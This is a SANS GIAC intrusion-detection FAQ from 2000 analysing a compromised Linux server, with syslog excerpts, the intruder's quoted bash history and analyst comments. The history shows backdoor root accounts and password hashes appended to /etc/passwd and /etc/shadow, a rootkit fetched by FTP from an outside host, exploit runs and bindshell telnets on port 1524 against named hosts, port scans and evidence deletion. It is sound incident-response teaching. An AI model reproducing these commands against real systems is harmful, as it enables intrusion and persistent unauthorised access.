Last Day to Save $200 on SANS Cyber Defense San Diego 2014

Intrusion Detection FAQ: Linux System Compromise

Version 1.0 January 25, 2000

Stephen Northcutt

Many GIAC readers are experienced at handling compromised systems, they do it every day and do not have to think about it. However, many people have never thought about a system compromise until they face one. This is the story of a Linux box that was overtaken by hackers, and used to attack many other systems, we offer it in the hope you can learn from this. Mostly the material is presented "as is" with some additional comments. You should know that many times the files left behind are inaccurate or incomplete. NEVER assume you can repair a compromised system simply by fixing the binaries mentioned in a history file, even so we do find this educational. If you have information of this type and are willing to share with your community please send email to handler@incidents.org We will start with the note from the system administrator.

+++

Hi Stephen,

Thank you for your offer to help analyze the logs for my hacked Linux Box 10.33.151.244. I appended my logs and other useful info such as a script left behind by the hacker to the end of this message. As you can see I captured a lot of information. My guess is that the attacker couldn't clean up after himself because he messed up my computer too much and he could not log back in. But maybe he was just sloppy. I don't know. One thing is for sure though: He left the computer in such a state that I could not log in remotely anymore and I had to reinstall Linux.

I also found out that he replaced my login and in.identd binaries. I also included two emails from other sysadmins. These are useful in that they help identify the means the attacker tried to get into other systems.

Please let me know if you guys can find out more about how he got in and what he exactly did. And in particular: What I need to do to avoid such attacks in the future.

Thanks for your help.
-kornel

+++

(The systemís log files yield some significant clues, letís start by looking at these. First note the date, the time between December 22 and January 02 is always a very dangerous time. Many systems are unattended, but left on. From my review of the logs, I never see an entry point per se the system is already compromised.)

--------------------------------------------------
/var/log/messages excerpt showing hacker activity
--------------------------------------------------
Dec 23 23:54:46 turing PAM_pwdb[19261]: (login)
session opened for user danz by (uid=0)
Dec 23 23:55:06 turing PAM_pwdb[19273]: (su)
session opened for user rmfc by danz(uid=1)

(There will be two actors, or account names and they are introduced right here, danz and rmfc)

Dec 23 23:58:58 turing telnetd[19278]: ttloop: peer died: Invalid or
incomplete multibyte or wide character

(Note this is very similar to the activity Laurie keeps reporting, I would really like to understand this better. This could be a strong hint that the telnet probes we all see are more than just reconnisannce to determine the operating system.)

Dec 24 00:01:00 turing PAM_pwdb[19286]: 
(su) session opened for user news by(uid=0)
Dec 24 00:01:01 turing PAM_pwdb[19286]:
(su) session closed for user news
Dec 24 00:01:06 turing identd[19321]:
Connection from Irc.mcs.net
Dec 24 00:01:06 turing identd[19321]: from:
192.160.127.97 ( Irc.mcs.net )for: 1143, 6667
Dec 24 00:03:35 turing ftpd[19337]: FTP LOGIN FROM chris @
ns.northernpines.net [209.91.156.22], rmfc
Dec 24 00:04:10 turing ftpd[19337]: FTP session closed

(Wasnít it Mae West who said they keep coming and going and coming and going and always too soon?)

Dec 24 00:08:15 turing kernel: nfs: 
RPC call returned error 111
Dec 24 00:08:15 turing kernel: RPC:
task of released request still queued!
Dec 24 00:08:15 turing kernel: RPC:
(task is on xprt_pending)
Dec 24 00:08:15 turing kernel:
nfs_revalidate_inode: /// getattr failed,
ino=3, error=-111

(Why attack a compromised system? Perhaps they are trying to new techniques or perhaps someone else wants a piece of the action. Secure portmap would come in handy here.)

+++

-------------------------------------------------
bash_history excerpt showing hacker activity
-------------------------------------------------
w


uname -rsa
echo "danz:x:1:1:danz:/:/bin/sh" >> /etc/passwd;
echo "danz:iUCNir1cd8pI2:::::::" >> /etc/shadow;
echo "rmfc:z:0:0:rmfc:/:/bin/sh" >> /etc/passwd;
echo "rmfc:iUCNir1cd8pI2:::::::" >> /etc/shadow;
exit
echo "dan" >> /root/.fakeid
irc danz irc.mcs.net
cat /etc/passwd
pico /etc/passwd
pico /etc/shadow
g
pico /etc/shadow


finger kornel
w
ps aux
w
cat /proc/cpuinfo
cd /root
ls -la .ssh


ftp clio.trends.ca
gunzip rh6.tgz
tar -xvf rh6.tar
cp .dc.t .ssh/.ssh
rm -rf .dc.t
rm -rf *.tar
cd .ssh
ls -la
pico .ssh/.dc
ls
./pine
ls
./c
./c /root/.ssh/ i spears pine r


pico cfbotchk
./cfbotchk
ls
rm -rf c d eggcron filesys/
pico /etc/hosts/allow
pico /etc/hosts.allow
pico /etc/hosts.deny
ps aux
telnmet


telnet localhost 1524
cd /root/.ssh
cd .ssh
pico d.c.t
pico .dc.t
cd /tmp
w
irc danz irc.mcs.ent
ls -la
make aa


chmod +x amdbind
mv amdbind amd
rm -rf aa.c
mv aa bind
ls -al
./bind
./bind 198 111 &
./amd
ls -la
ls -la
cd /tmp
w
ls -la
cat amdex.vuln
w
cd /tmp
ls -la
cat amdex.vuln
pico amdex.vuln
ls
cd /tmp
ls -al
pico amdex.vuln
pico amdex.vuln
cat amdex.vuln


telnet 198.172.1.241 1524
cat amdex.vuln
killall -9 aa
ls -la
rm -rf amdex.vuln
killall -9 bind
./bind
./bind 128 111 &
cd /tmp


./amd ns.northernpines.net
telnet ns.northernpines.net 1524
cd /tmp
ls -al
cat aqmde
cat amdex.vuln
rm -rf amdex.vuln
irc danz irc.mcs.net
ls
./amd infostations.com
telnet infostations.com 1524
cd/ usr/sbin
cd /usr/sbin
irc danz2 irc.mcs.net
cat /bin/tcp.log
cd /tmp
sl -al
ls -al
ps aux
ls -al


make pscan
rm -rf opsca
rm -rf pscan.c
mv pscan ps
./ps 198.172 23 4
./ps 198.172 53 4
./ps 198.172 111 4
cd /usr/sbin
irc dan0 irc.mcs.net
cd /tmp
ls -la
./ps 198.139 111 205
./ps 198.139 23 205
/sbin/arp -a
./ps 198.151 111 170
./ps 198.151 23 170
./ps 198.151 53 170
telnet 198.151.170.1
telnet 198.172.87.100
cd /tmp
ls -la
ps aux
w
killall -9 telnet
ls -la
netstat
killall -9 netstat
ls -al
ls -al
ls -la
ls -al
telnet 128.122.180.69 1524
telnet 128.122.180.69
TERM=vt555
telnet 128.122.180.69
w
cd /tmp
ls -la
cat amdex.vuln
wc -l amdex.vuln
cd /root/.ssh
ls -la
./cfbotchk
crontab -l
ls
pico cfbotchk
ls
cd /tmp
ls -la
psa ux
ps aux
ls -la
pico amdex.vuln
killall -9 bind
cd /usr/sbin
irc danz irc.mcs.ent
telnet mquinn1.stern.nyu.edu
ls -la
telnet linus1.cs.olemiss.edu 1524
cd /tmp
pico amdex.vuln
pico amdex.vuln
./amd 128.97.206.137
pico amdex.vuln
./amd 131.187.103.133
pico amdex.vuln
pico amdex.vuln
pico amdex.vuln
telnet super-linux.uqah.uquebec.ca 1524
telnet super-linux.uqah.uquebec.ca
telnet super-linux.uqah.uquebec.ca 1524
telnet super-linux.uqah.uquebec.ca


TERM=vt888
telnet super-linux.uqah.uquebec.ca
exit
cd /usr/sbin
irc danz irc.mcs.net
TERM=vt888
telnet super-linux.uqah.uquebec.ca
pico /etc/inetd.conf
TERM=vt100
pico /etc/inetd.conf
w
telnet server1.amkt.com
cd /tmp
ls -la
pico amdex.vuln
pico amdex.vuln
./amd 131.178.1.5
telnet linus1.cs.olemiss.edu 1524
ls -la
pico amdex.vuln
pico amdex.vuln
pico amdex.vuln
telnet 136.204.176.69
TERM=vt911
telnet 136.204.176.69
telnet 137.140.8.15 1524
telnet 137.140.8.15
ERM=vt123
TERM=vt123
telnet 137.140.8.15
cd /usr/sbin
irc dan0 irc.mcs.net
echo "your computer, linux box,
is hacked by odae"|mail root@210.219.86.189
./amd
cd tmp
./amd www.cosc.morrisville.edu


rm -rf amd
cd /tmp
./amd www.cosc.morrisville.edu
telnet www.cosc.morrisville.edu 1524
telnet www.cosc.morrisville.edu 1524
ls
pico amdex.vuln
pico amdex.vuln
cd /usr/sbin
irc danx irc.mcs.net
telnet WRDSX.Wharton.UPENN.EDU
ftp clio.trends.ac
ftp clio.trends.ac
ftp clio.trends.ca
irc danx irc.mcs.net
rm -rf .dc.t rh6.tgz
cd /tmp
ls -la
cat amdex.vuln
./amd 134.130.49.201
telnet ns.environ.hiroshima-u.ac.jp
TERM=vt110
telnet ns.environ.hiroshima-u.ac.jp
cd /tmp
ls -la
./amd 198.151.170.1
pico amdex.vuln
./amd 134.130.49.201
pico amdex.vuln
Here are the names of our apparent actors, danz and rmfc



Uname gives information about the system. The attacker is adding themselves to the password and shadow password file.









The attacker is getting information about the system owner using the finger command.





The attacker FTPs to another system and apparently brings down a rootkit, rh6.tgz or similar. Note what they do to secure shell!










Bots! This is all about IRC! So many compromised systems end up being about IRC.







Presumably the bot is accessed on port 1524










Compromised version of bind, anyone know more about this?
























Some system is being accessed on port 1524 another bot possibly.








The plot continues to thicken, the attacker appears to have a large network of systems, add a nameserver to the list.

















Pscan is created and then renamed to a legitimate file, ps and then apparently used to scan the 198.172 net for telnet, dns, portmap.




































































Note the special termcap, vt888 this is often used as authentication.




































Here the attacker uses rm to delete evidence